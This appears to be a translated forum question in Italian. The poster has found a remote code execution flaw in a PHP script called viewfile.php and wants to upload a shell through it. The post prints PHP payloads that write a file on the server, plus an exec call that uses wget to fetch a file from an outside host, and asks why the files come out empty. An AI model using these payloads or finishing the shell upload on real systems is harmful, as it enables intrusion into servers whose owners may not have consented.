Quindi ho trovato una vulnerabilità RCE in uno script PHP (è in un file chiamato viewfile.php
). Fondamentalmente, da questo file posso eseguire qualsiasi codice PHP, ad esempio, <?php echo phpinfo(); ?>
visualizza phpinfo e anche <?php echo "Test"; ?>
funziona.
Volevo vedere se potevo caricare una shell da questa vulnerabilità RCE, quindi prima ho deciso di testare per essere sicuro di poter caricare i file. Ecco cosa ho provato:
<?php
$fp = fopen('test.txt', 'w');
fwrite($fp, 'Text in test.txt');
fclose($fp);
?>
e
<?php $output = exec('wget http://mywebsite.com/textfile.txt -O test.txt'); echo $output; ?>
Entrambi gli esempi sopra hanno creato un file test.txt
ma entrambi i file erano vuoti, il che significa che se dovessi provare questo con una shell, non funzionerebbe (sarebbe anche solo un file vuoto). Questo significa che si può presumere che la directory in cui ho cercato di caricare i file non abbia i permessi di scrittura? Se non avesse i permessi di scrittura, è questo il comportamento che ci si aspetterebbe? (il file viene creato ma non viene scritto nulla)